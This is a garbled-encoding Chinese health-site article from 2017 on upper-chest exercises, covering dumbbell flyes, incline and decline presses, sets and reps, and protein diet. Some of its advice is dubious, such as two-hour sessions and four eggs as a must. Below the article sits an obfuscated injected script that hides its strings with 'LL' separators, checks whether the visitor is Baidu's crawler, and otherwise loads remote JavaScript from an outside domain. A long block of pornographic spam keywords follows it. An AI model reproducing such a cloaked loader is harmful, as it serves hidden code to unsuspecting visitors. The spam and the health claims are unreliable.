當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

胸上肌鍛煉方法有哪些

2017-04-16 10:01:54  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):如今社會(huì)上,健康是十分重要的,我們常說(shuō)健康才是奮斗和追逐夢(mèng)想的資本,所以經(jīng)常鍛煉身體十分重要。那么運(yùn)動(dòng)除了可以減肥外,還可以鍛煉肌

如今社會(huì)上,健康是十分重要的,我們常說(shuō)健康才是奮斗和追逐夢(mèng)想的資本,所以經(jīng)常鍛煉身體十分重要。那么運(yùn)動(dòng)除了可以減肥外,還可以鍛煉肌肉,尤其男性最為喜愛(ài)。那么最近有些男性朋友提到,在生活中該如何鍛煉胸上肌呢?下面我們就來(lái)介紹大家?guī)追N胸上肌鍛煉方法。

平躺在椅子上,兩手握住適當(dāng)重量的啞鈴,兩手向兩側(cè)打開(kāi)后,再向中間收縮,多做幾組,一次在20到30之間,每次鍛煉要做夠2個(gè)小時(shí),長(zhǎng)期鍛煉,能出效果... 還有可以配置蛋白質(zhì)粉,充著喝,每天2杯(這個(gè)可以用也可以不用,如果要買(mǎi)蛋白質(zhì)的話,一定要?jiǎng)游锏鞍踪|(zhì),不要植物蛋白質(zhì),品牌的話,好像是巨人牌的比較好) 每天要吃2個(gè)蘋(píng)果2個(gè)香蕉4個(gè)雞蛋(這個(gè)必須) 保證體內(nèi)營(yíng)養(yǎng)水分不流失。

另外,這些方法可以試試:練胸可以用啞鈴做平臥飛鳥(niǎo)、斜臥飛鳥(niǎo)、平臥上推和斜臥上推,也可以做杠鈴臥姿平推(練整個(gè)胸大肌及中胸);上斜臥推(躺在向上斜30~45度的平板凳上垂直向上推杠鈴主要練上胸);下斜臥推(躺在向下斜20~40度的平板凳上垂直向上推杠鈴,主要是鍛煉下胸肌)。再加啞鈴平臥飛鳥(niǎo),蝴蝶夾胸,俯臥撐等。每個(gè)動(dòng)作做3-5組,每組做8-12個(gè),一個(gè)星期練三到四天就可以,練前后可以吃點(diǎn)高蛋白食物,比如:蝦、牛肉、雞胸肉、雞蛋白。補(bǔ)充點(diǎn)蛋白質(zhì)有助于肌肉的增長(zhǎng)。

關(guān)于胸上肌鍛煉方法的內(nèi)容,以上的文字已經(jīng)有了詳細(xì)的說(shuō)明了,相信大家也對(duì)此有所了解了。那么大家在鍛煉胸上肌前,一定要做熱身運(yùn)動(dòng),避免出現(xiàn)肌肉扭傷的情況。那么想鍛煉出很多的胸上肌,一定要每天堅(jiān)持鍛煉,偶爾做一兩次是不行的。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品久久久久三级| 国产精品一区二区久久精品涩爱| 国产99久久久国产精品小说| 精品人妻一区二区三区毛片| 国产精品亚洲精品青青青 | 永久无码精品三区在线4| 亚洲精品人成电影网| 精品午夜福利1000在线观看| 青青草原综合久久大伊人精品| 久久精品国产99精品国产2021| 国产suv精品一区二区6| 国产精品亚洲四区在线观看| 国内精品久久久久| 四虎成人精品永久免费AV| 精品一区二区三区四区电影 | 国产精品熟女高潮视频| 国产成人综合色视频精品| 久久精品国产免费观看三人同眠| CAOPORN国产精品免费视频| 精品国产自在现线看| 4444亚洲国产成人精品| 久久精品国产99国产| 99re6在线精品免费观看| 精品小视频在线观看| 欧美日韩精品一区二区在线视频| 久久99精品久久久久久久久久| 99热婷婷国产精品综合| www.亚洲精品.com| 国产精品无码制服丝袜| 人妻少妇偷人精品视频| 亚洲国产精品免费在线观看| 久久久精品人妻一区亚美研究所 | 久久久久国产成人精品| 国产成人精品三上悠亚久久| 亚洲精品高清一二区久久| 精品国产系列在线观看| 亚洲国产成人综合精品| 在线综合亚洲中文精品| 91精品国产91久久久久久蜜臀| 日韩精品内射视频免费观看| 久久777国产线看观看精品|